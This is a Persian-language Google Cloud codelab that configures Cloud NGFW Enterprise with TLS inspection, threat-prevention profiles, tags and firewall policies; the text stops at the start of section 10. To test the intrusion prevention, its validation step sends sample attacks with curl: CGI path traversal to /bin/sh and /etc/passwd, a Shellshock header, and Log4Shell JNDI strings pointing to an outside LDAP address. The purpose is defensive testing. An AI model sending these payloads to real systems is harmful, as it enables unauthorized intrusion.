Cloud NGFW Enterprise Codelab [با بازرسی امنیت لایه انتقال]

۱. مقدمه

Cloud Next Generation Firewall (NGFW)

‫Cloud Next Generation Firewall یک سرویس دیوار آتش کاملاً توزیع‌شده با قابلیت‌های محافظت پیشرفته، ریزبخش‌بندی، و پوشش فراگیر برای محافظت از حجم‌های کاری Google Cloud شما دربرابر حملات داخلی و خارجی است.

Cloud NGFW مزایای زیر را دارد:

  • سرویس دیوار آتش توزیع‌شده: Cloud NGFW اجرای میزبان‌مبنای کاملاً توزیع‌شده و باحفظ وضعیت را در هر بار کاری ارائه می‌دهد تا معماری امنیتی اعتماد صفر را فعال کند.
  • پیکربندی و استقرار ساده‌شده: Cloud NGFW خط‌مشی‌های دیوار آتش سلسله‌مراتبی و شبکه‌ای را پیاده‌سازی می‌کند که می‌توانند به گره سلسله‌مراتب منبع متصل شوند. این خط‌مشی‌ها تجربه دیوار آتش یکپارچه‌ای را در سلسله‌مراتب منابع Google Cloud ارائه می‌دهند.
  • کنترل ریزدانه و ریزبخش‌بندی: ترکیب خط‌مشی‌های دیوار آتش و برچسب‌های تحت‌نظارت «مدیریت هویت و دسترسی‌ها» (IAM) کنترل دقیقی را برای ترافیک شمال-جنوب و شرق-غرب، تا سطح یک ماشین مجازی، در سراسر شبکه‌ها و سازمان‌های Virtual Private Cloud (VPC) فراهم می‌کند.

Cloud NGFW در سطوح زیر دردسترس است:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

‫Cloud NGFW Enterprise قابلیت‌های «سرویس جلوگیری از نفوذ» (IPS) و «جعبه امن بدافزار پیشرفته» (WildFire) اختیاری را که سرویس‌های بازرسی لایه ۷ هستند به ساختار توزیع‌شده Google Cloud Firewall اضافه می‌کند. بازرسی TLS برای امکان بازرسی عمیق و تجزیه‌وتحلیل فایل برای ترافیک رمزگذاری‌شده TLS پشتیبانی می‌شود.

اکنون می‌توانید بازرسی‌های مطمئن «دیوار آتش نسل بعدی» (NGFW) لایه ۷ را با کنترل‌های دانه‌ای و بدون ایجاد هیچ تغییری در معماری شبکه یا پیکربندی‌های مسیریابی مستقر کنید.

برای فعال‌سازی و استقرار کنترل دیوار آتش لایه ۷ با IPS و جعبه امن بدافزار پیشرفته اختیاری، باید کارهای زیر را انجام دهید:

  • مجموعه‌ای از نقاط پایانی دیوار آتش منطقه‌ای تحت‌مدیریت Google Cloud ایجاد کنید (به‌طور اختیاری، «جعبه امن بدافزار پیشرفته» را فعال کنید).
  • درصورت تمایل، «خط‌مشی بازرسی TLS» ایجاد کنید.
  • درصورت تمایل، «پیکربندی اعتماد» ایجاد کنید.
  • این نقطه‌های پایانی را با شبکه‌های Virtual Private Cloud (VPC) که در آن‌ها به سرویس Cloud NGFW Enterprise نیاز دارید مرتبط کنید.
  • تغییرات ساده‌ای در خط‌مشی‌های دیوار آتش و قوانین دیوار آتش موجود ایجاد کنید تا نمایه‌های امنیتی «جلوگیری از تهدید» و «جعبه امن بدافزار پیشرفته» اختیاری را برای مسیرهای ترافیک مختلف مشخص کنید.

خط‌مشی‌های دیوار آتش شبکه

خط‌مشی دیوار آتش شبکه به‌عنوان محفظه‌ای برای قوانین دیوار آتش عمل می‌کند. قوانین تعریف‌شده در خط‌مشی دیوار آتش شبکه تا زمانی که خط‌مشی با شبکه VPC مرتبط نشود، در هیچ‌کجا اجرا نمی‌شوند. هر شبکه VPC می‌تواند یک خط‌مشی دیوار آتش شبکه منسوب به خود داشته باشد. خط‌مشی‌های دیوار آتش شبکه از «برچسب‌های» تحت مدیریت IAM (یا فقط «برچسب‌ها») در قوانین دیوار آتش پشتیبانی می‌کنند که جایگزین برچسب‌های شبکه فعلی می‌شوند و می‌توانند برای ارائه هویت به حجم کاری استفاده شوند.

هم‌رسانی خط‌مشی دیوار آتش شبکه در شبکه‌ها و ادغام با «برچسب‌های» تحت مدیریت IAM، پیکربندی و مدیریت دیوارهای آتش را بسیار ساده می‌کند.

با معرفی خط‌مشی دیوار آتش شبکه، خط‌مشی‌های دیوار آتش Google Cloud اکنون از مؤلفه‌های زیر تشکیل شده است:

  1. خط‌مشی دیوار آتش سلسله‌مراتبی
  2. قوانین دیوار آتش VPC
  3. خط‌مشی دیوار آتش شبکه ( جهانی و منطقه‌ای)

خط‌مشی‌های دیوار آتش سلسله‌مراتبی در گره‌های سازمان و پوشه در سلسله‌مراتب منابع پشتیبانی می‌شوند، درحالی‌که قوانین دیوار آتش VPC و خط‌مشی‌های دیوار آتش شبکه در سطح VPC اعمال می‌شوند. تفاوت بزرگ بین قوانین دیوار آتش VPC و خط‌مشی‌های دیوار آتش شبکه این است که قوانین دیوار آتش VPC را فقط می‌توان برای یک شبکه VPC اعمال کرد، درحالی‌که خط‌مشی‌های دیوار آتش شبکه را می‌توان به یک VPC یا گروهی از VPCها متصل کرد، و مزایای دیگری مانند به‌روزرسانی‌های دسته‌ای نیز دارد.

درنهایت، قوانین ضمنی دیوار آتش را نیز داریم که با هر شبکه VPC ارائه می‌شود:

  • قانون خروجی که کنش آن مجاز است، مقصد 0.0.0.0/0 است
  • قانون ورودی که کنش آن رد کردن است، منبع 0.0.0.0/0 است

به‌طور پیش‌فرض، توالی اجرا در نمودار زیر نشان داده شده است:

21b3bcabc469ffe.png

لطفاً توجه داشته باشید که ترتیب اجرای بین قوانین دیوار آتش VPC و خط‌مشی دیوار آتش شبکه جهانی را می‌توان جابه‌جا کرد. مشتریان می‌توانند در هرزمانی با فرمان gcloud ترتیب اجرا را مشخص کنند.

برچسب‌ها

برچسب‌های جدید ادغام‌شده در قوانین خط‌مشی دیواره آتش شبکه منابع جفت کلید-مقدار هستند که در سطح سازمان یا پروژه سلسله‌مراتب منابع Google Cloud تعریف شده‌اند. چنین برچسبی حاوی کنترل‌های دسترسی IAM است که مشخص می‌کند چه کسی می‌تواند چه کاری روی برچسب انجام دهد. برای مثال، اجازه‌های مدیریت هویت و دسترسی (IAM) به فرد اجازه می‌دهد مشخص کند کدام مدیران می‌توانند مقادیر را به برچسب‌ها اختصاص دهند و کدام مدیران می‌توانند برچسب‌ها را به منابع پیوست کنند. اگر قانون دیوار آتش شبکه به «برچسبی» ارجاع دهد، باید برای اجرا به منبعی اعمال شود.

برچسب‌ها از مدل منبع وراثت Google Cloud پیروی می‌کنند، یعنی برچسب‌ها و مقادیر آن‌ها از والدینشان در سلسله‌مراتب منتقل می‌شوند. درنتیجه، برچسب‌ها ممکن است در یک مکان ایجاد شوند و سپس توسط پوشه‌ها و پروژه‌های دیگر در سراسر سلسله‌مراتب منابع استفاده شوند. برای جزئیات مربوط به برچسب‌ها و محدودیت دسترسی، از این صفحه بازدید کنید.

برچسب‌ها نباید با برچسب‌های شبکه اشتباه گرفته شوند. مورد دوم رشته‌هایی هستند که می‌توانند به ماشین‌های مجازی Compute Engine اضافه شوند؛ این رشته‌ها با ماشین مجازی مرتبط هستند و وقتی ماشین مجازی از رده خارج شود، ازبین می‌روند. قوانین دیوار آتش VPC ممکن است شامل برچسب‌های شبکه باشد، اما چون به‌عنوان منابع ابری درنظر گرفته نمی‌شوند، مشمول کنترل دسترسی IAM نیستند.

توجه داشته باشید که در این سند، «برچسب‌ها» و «برچسب‌های تحت نظارت IAM» به‌جای یکدیگر استفاده می‌شوند.

آنچه خواهید ساخت

این codelab به یک پروژه و توانایی ایجاد شبکه VPC و همچنین مدیریت تعدادی از منابع شبکه و امنیتی نیاز دارد. این راهنما نشان می‌دهد که چگونه Cloud NGFW Enterprise می‌تواند عملکرد IPS و جعبه شنی بدافزار پیشرفته (WildFire) را با انجام کارهای زیر ارائه دهد:

  • بازرسی کردن جریان‌های اینترنت شمالی با بازرسی «امنیت لایه انتقال»
  • بازرسی جریان‌های درون VPC [شرق-غرب] با بازرسی امنیت لایه انتقال
  • [اختیاری] پیکربندی و اعتبارسنجی ارسال فایل و جرم‌شناسی جعبه امن بدافزار پیشرفته برای تهدیدهای مبتنی بر فایل ناشناخته در ترافیک بازرسی‌شده TLS

جریان‌هایی که باید بازرسی شوند بااستفاده از پارامترهای تطبیق Cloud Firewall ازجمله ۵-تایی (IP مبدأ، IP مقصد، پروتکل، درگاه مبدأ، درگاه مقصد) و برچسب‌ها انتخاب خواهند شد.

3d0f288d3b92a295.png

وضعیت نهایی پایگاه قانون خط‌مشی دیوار آتش شبکه مشابه جدول زیر خواهد بود:

اولویت

مسیر

Target

منبع

مقصد

کنش

تایپ کردن

100

ورودی

Server_Tag

بررسی سلامت

همه

اجازه دادن

‏Essentials

۲۰۰

ورودی

Client_Tag, Server_Tag

محصولات درون برنامه‌ای

همه

اجازه دادن

‏Essentials

۸۰۰

ورودی

Server_Tag

10.0.0.0/24

10.0.0.0/24

بازرسی L7

سازمانی

850

خروج

Client_Tag

همه

10.0.0.0/24

اجازه دادن

‏Essentials

۹۰۰

خروج

Client_Tag

همه

همه

بازرسی L7

سازمانی

آنچه خواهید آموخت

  • نحوه ایجاد خط‌مشی دیوار آتش شبکه.
  • نحوه ایجاد و استفاده از «برچسب‌ها» با خط‌مشی دیوار آتش شبکه.
  • نحوه پیکربندی و استفاده از Cloud NGFW Enterprise با بازرسی امنیت لایه انتقال.
  • [اختیاری] نحوه پیکربندی و اعتبارسنجی جعبه شنی بدافزار پیشرفته (WildFire) برای تهدیدهای ناشناخته مبتنی بر فایل.

آنچه نیاز خواهید داشت

  • پروژه Google Cloud.
  • دانش استقرار نمونه‌ها و پیکربندی اجزای شبکه.
  • دانش پیکربندی دیوار آتش VPC.

۲. قبل‌از شروع

ایجاد/ به‌روزرسانی متغیرها

این codelab از $variables برای کمک به پیاده‌سازی پیکربندی gcloud در Cloud Shell استفاده می‌کند.

در Cloud Shell، فرمان‌های زیر را اجرا کنید و اطلاعات داخل کروشه‌ها را درصورت لزوم جایگزین کنید:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

۳. فعال کردن میاناهای برنامه‌سازی کاربردی

اگر APIها را فعال نکرده‌اید، آن‌ها را فعال کنید:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

۴. Cloud NGFW Enterprise Endpoint Creation

ازآنجایی‌که ایجاد Cloud NGFW Enterprise Endpoint حدود ۲۰ دقیقه طول می‌کشد، ابتدا این نقطه پایانی ایجاد می‌شود و راه‌اندازی پایه می‌تواند به‌طور موازی درحین ایجاد نقطه پایانی انجام شود.

«نمایه امنیتی» و «گروه نمایه امنیتی» را ایجاد کنید:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

خروجی موردانتظار:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

تأیید کنید که منابع با موفقیت ایجاد شده‌اند:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

برونداد موردانتظار (توجه داشته باشید که قالب برونداد ممکن است بسته به کلاینت مورداستفاده متفاوت باشد:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

نقطه پایانی Cloud NGFW Enterprise را ایجاد کنید:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

فرمان زیر را اجرا کنید تا مطمئن شوید نقطه پایانی درحال ایجاد شدن است (CREATING)، یا اگر از --no-async استفاده کرده‌اید، ACTIVE باشد.

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

برونداد موردانتظار (توجه داشته باشید که قالب برونداد ممکن است بسته به کلاینت مورداستفاده متفاوت باشد):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

درصورت تمایل، فرمان زیر را برای دریافت جزئیات بیشتر اجرا کنید:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

خروجی موردانتظار:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

فرایند ایجاد حدود ۲۰ دقیقه طول می‌کشد. به بخش «راه‌اندازی پایه» بروید تا منابع موردنیاز را به‌طور موازی ایجاد کنید.

۵. راه‌اندازی پایه

شبکه و زیرشبکه VPC

شبکه VPC و زیرشبکه

شبکه VPC و زیرشبکه را ایجاد کنید:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

ایجاد Cloud Router و دروازه Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

نمونه‌ها

نمونه‌های کارخواه و سرور وب را ایجاد کنید:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

برچسب‌های سطح پروژه

درصورت نیاز، اجازه tagAdmin را به کاربر اختصاص دهید:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

کلید و مقادیر برچسب سطح پروژه را ایجاد کنید:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

برچسب‌ها را به نمونه‌ها متصل کنید:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

خط‌مشی دیوار آتش شبکه جهانی

ایجاد خط‌مشی دیوار آتش شبکه جهانی:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

قوانین ضروری Cloud Firewall موردنیاز را برای مجاز کردن ترافیک از محدوده‌های health-check و identity-aware proxy ایجاد کنید:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

قوانین Cloud Firewall لازم را برای مجاز کردن ترافیک ورودی شرق-غرب / درون زیرشبکه از محدوده‌های خاص ایجاد کنید (این قوانین برای فعال کردن Cloud NGFW Enterprise با بازرسی امنیت لایه انتقال به‌روزرسانی خواهند شد):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

مرتبط کردن خط‌مشی دیوار آتش ابری با شبکه VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

‫۶. Cloud Firewall Endpoint Association

اگر هنوز متغیرهای محیطی را تعریف نکرده‌اید و/یا رویکرد متن فرمان را ترجیح می‌دهید، آن‌ها را تعریف کنید.

تأیید کنید که ایجاد «نقطه پایانی دیوار آتشین ابری» باموفقیت تکمیل شده باشد. فقط زمانی ادامه دهید که وضعیت به‌صورت فعال نشان داده شود (درطول ایجاد، وضعیت موردانتظار درحال ایجاد است):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

برونداد موردانتظار (توجه داشته باشید که قالب برونداد ممکن است بسته به کلاینت مورداستفاده متفاوت باشد):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

درصورت تمایل، فرمان زیر را برای دریافت جزئیات بیشتر اجرا کنید:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

خروجی موردانتظار:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

نقطه پایانی Cloud Firewall را به شبکه VPC مرتبط کنید:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

فرایند مرتبط کردن حدود ۱۰ دقیقه طول می‌کشد. فقط زمانی به بخش TLS بروید که وضعیت به‌صورت فعال نشان داده شود (درطول ایجاد، وضعیت موردانتظار درحال ایجاد است):

gcloud network-security firewall-endpoint-associations list

خروجی موردانتظار پس‌از تکمیل:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

درصورت تمایل، فرمان زیر را برای دریافت جزئیات بیشتر اجرا کنید:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

خروجی موردانتظار:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

‫۷. پیکربندی منابع TLS

مجموعه CA ایجاد کنید. این منبع برای نگهداری گواهی Root CA که برای NGFW Enterprise تولید می‌کنیم استفاده خواهد شد.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

مرجع صدور گواهی ریشه را ایجاد کنید. این گواهی CA است که برای امضای گواهی‌های اضافی برای درخواست‌ها ازطریق NGFW Enterprise استفاده خواهد شد.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

اگر پیام زیر را دریافت کردید، با y پاسخ دهید:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

حساب سرویس ایجاد کنید. از این حساب سرویس برای درخواست گواهی برای NGFW Enterprise استفاده خواهد شد:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

اجازه‌های IAM را برای حساب سرویس تنظیم کنید:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

فایل YAML مربوط به «خط‌مشی امنیت لایه انتقال» را ایجاد کنید. این فایل حاوی اطلاعاتی درباره منابع خاص خواهد بود:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

وارد کردن «خط‌مشی بازرسی TLS»:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

برای فعال کردن «امنیت لایه انتقال»، ارتباط نقطه پایانی را به‌روز کنید:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

گواهینامه CA را دریافت کنید و آن را به فروشگاه CA مشتری اضافه کنید:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

گواهینامه مرکز صدور گواهی را به کارخواه منتقل کنید:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH به VM، گواهی CA را به /usr/local/share/ca-certificates منتقل کنید و فروشگاه CA را به‌روز کنید:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

خروج به cloudshell.

فرایند «امضای گواهینامه سرور»:

در cloudshell، کتابخانه رمزنگاری Pyca را بااستفاده از فرمان pip نصب کنید:

pip install --user "cryptography>=2.2.0"

برای اینکه به Google Cloud SDK اجازه دهید از کتابخانه رمزنگاری Pyca استفاده کند، باید بسته‌های سایت را فعال کنید.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

ایجاد گواهی سرور:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

با این کار، فایل cert.pem و key.pem در cloudshell تولید می‌شود. سپس گواهی و کلید را به سرور منتقل کنید.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

برای به‌روزرسانی جزئیات گواهی Apache، ازطریق SSH وارد سرور شوید:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

انتقال گواهی و کلید به پوشه خاص:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

به‌روزرسانی پیکربندی ssl برای استفاده از گواهینامه امضاشده:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

بازراه‌اندازی Apache:

sudo systemctl restart apache2

درستی‌سنجی وضعیت Apache:

sudo systemctl status apache2

باید فعال (درحال اجرا) باشد.

از ماشین مجازی خارج شوید و در cloudshell ادامه دهید.

‫۸. اعتبارسنجی اتصال شمال‌سو و شرق/غرب

فرمان‌های زیر را در Cloud Shell اجرا کنید و IPهای هدف را برای استفاده یادداشت کنید:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

زبانه جدیدی باز کنید و اتصال SSH به ماشین مجازی کارخواه را ازطریق IAP آغاز کنید (باید متغیرها را در زبانه جدید تعریف کنید):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

فرمان‌های زیر را اجرا کنید و IPهای هدف را برای استفاده یادداشت کنید. متغیرهایی را ایجاد کنید که مقادیر داخل کروشه را با IPهای ذکرشده از مرحله قبلی جایگزین کنند و مطمئن شوید که قابل‌دسترسی هستند:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

IP خصوصی را Curl کنید و مطمئن شوید که قابل‌دسترسی است:

curl https://$target_privateip --max-time 2

نتایج موردانتظار برای درخواست curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

حملات نمونه به IP ارسال کنید. سرور وب باید به همه درخواست‌ها پاسخ دهد و تأیید کند که هیچ بازرسی/پیشگیری L7 در محل وجود ندارد:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

نتایج موردانتظار نمونه (IP خصوصی):

400
404
400
200
200

به‌طور مشابه، درخواست‌ها را به مقصد اینترنتی ارسال کنید:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

نتایج موردانتظار نمونه (مقصد اینترنتی):

400
404
400
403
403

از پایانه ماشین مجازی خارج شوید و به پوسته ابری برگردید.

‫۹. ایجاد و به‌روزرسانی قوانین دیواره آتش برای بازرسی TLS

قبلاً، قانون دیواره آتشی را پیکربندی کردیم تا ترافیک ورودی به سرورمان از زیرشبکه داخلی مجاز شود. اکنون قوانین ورودی موجود را به‌روز می‌کنیم و کنش را روی apply_security_profile_group تنظیم می‌کنیم. با این کار، بازرسی E/W L7 با TLS فعال می‌شود:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

قانون جدیدی برای بازرسی بازرسی L7 شمالی با TLS ایجاد کنید.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

قانون جدیدی برای مجاز کردن EGRESS برای E/W ایجاد کنید تا از بازرسی مضاعف جلوگیری شود.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

‫۱۰. درحال اعتبارسنجی بازرسی امنیت لایه انتقال شمال‌گرا

به برگه ماشین مجازی کارخواه برگردید یا دوباره متصل شوید:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

ارسال حملات نمونه به مقصد اینترنتی:

